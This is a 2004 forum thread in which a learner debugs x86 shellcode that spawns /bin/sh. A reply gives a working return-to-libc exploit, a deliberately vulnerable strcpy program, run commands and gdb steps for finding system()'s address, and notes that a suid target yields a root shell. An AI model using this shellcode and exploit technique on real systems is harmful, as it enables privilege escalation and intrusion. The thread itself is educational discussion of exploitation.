Advertisement

stupid buffer overflow program doesnt work.. cant understand why..

Started by December 28, 2004 07:10 AM
34 comments, last by Genjix 19 years, 10 months ago
ok so using the Linux syscall table and random texts i could find ive made this program
	jmp get_str_adress	resume:	popl %esi		# move esp into esi		movl %esi, 0x8(%esi)	# store adress of "/bin/sh"	movb $0x0, 0x7(%esi)	# create null byte	movl $0x0, 0xc(%esi)	# create null word		movl $0xb, %eax		# zero eax	movl %esi, %ebx		# "/bin/sh" as first arg	leal 0x8(%esi), %ecx	# pointer to "/bin/sh"	leal 0xc(%esi), %edx	# pointer to null word	int $0x80		get_str_adress:	call resume		# puts esp on stack (adress of string)	.string "/bin/sh"

to me that looks pretty complete and it should work... but it doesnt :/
genjix@linux:~/programming/> ./sbashSegmentation fault


BTW i just wanted to say thanks for your help, i really appreciate it im really learning :D
Here's an exploit that uses the technique I told..

exploit.c
#include<stdio.h>int main(int argc,char **argv){        unsigned int buf[]=        {                0xffffffff, //local var a                0xaffff9a8, //base pointer                0xa7ee8f90, //return address <system>                0xffffffff, //return address from system -> segfault                0xaffffb56, //pointer to shell env variable                0x00000000  //null termination        };        printf((char *)buf);        return 0;}


vuln.c
[source lang="C]int main(int argc,char **argv){        volatile int a;        strcpy(&a,argv[1]);        return 0;}


This assumes that the program compiled from vuln.c has _exactly_ 4 characters long filename and you call it like this ./xxxx . It also assumes that the vuln is linked against libc _only_.
Compile them like this:
gcc exploit.c -o exploit
gcc vuln.c -o vuln

You can test it by running: ./vuln `./exploit`
(Note that ` is not same as ' or ´)

If the address for system function doesn't match on yours (proggie crashes), it can be found by using gdb like this:

gdb ./vuln
(gdb) start
(gdb) info address system
Symbol "system" is at 0xa7ec6f90 in a file compiled without debugging.

The shell env var is the variable you get by running "set" and looking for variable SHELL (the memory address is dependable of the length of the argv[0]). So this exploit usually runs bash or sh or some other shell. If the program vuln is suid you would have a root shell.
Advertisement
Thanks i see where ive been going wrong now in that my base pointer isnt being properly assigned (probably misaligned). Thanks winograd, rating up.
btw does anyone know any good assembly forums?
Here's a good site and they have some kind of mailing list there too: LinuxAssembly.org
another site its

Goverment Security

however that exploit truthfully wont work on the 2.6 kernel it uses what called the privelage hack
What it does it overflow the stack of the current program then the code jumps to the overflowed code in the memory reads the address and executes that which since it doesnt matter who or what u are u can still execute it since there is no memory protection reflecting user permissions which will give u root shell
Advertisement
hmm, i wondered why strcpy wouldnt write past the end of an array, even when there wasnt any null bytes.

kernel 2.6 i have.
- No security patches in libc or gcc?

- Tried compiling with no optimization (-O0) or defining the local variable volatile? Compiler might be optimizing the local variable (and strcpy also) out because it's not needed outside the function.
i can see it there in the debugger, just strcpy doesnt seem to write past the allocated memory.
Sorry about the stupid questions but it's hard to help if you don't post the exact code.

You are using the same scheme as in your first post?

And you're debugging the process exploit and attach to a new process vuln when it's spawned?

And you're aware of that debugger kind of needs the stack frame (for most of the stuff), which you try to destroy with strcpy?

How do you verify that strcpy doesn't write over the buffer? By inspecting the raw memory through debugger?

If you're completely sure that you're code does what it's suposed to do and shellcode does not a single null byte (you can obviously test it by enlarging the buffer to see if the copying works at all) but strcpy doesn't, then SUSE might have patched strcpy somehow. Or you have some weird memory mappings (+ access priviledges).

This topic is closed to new replies.

Advertisement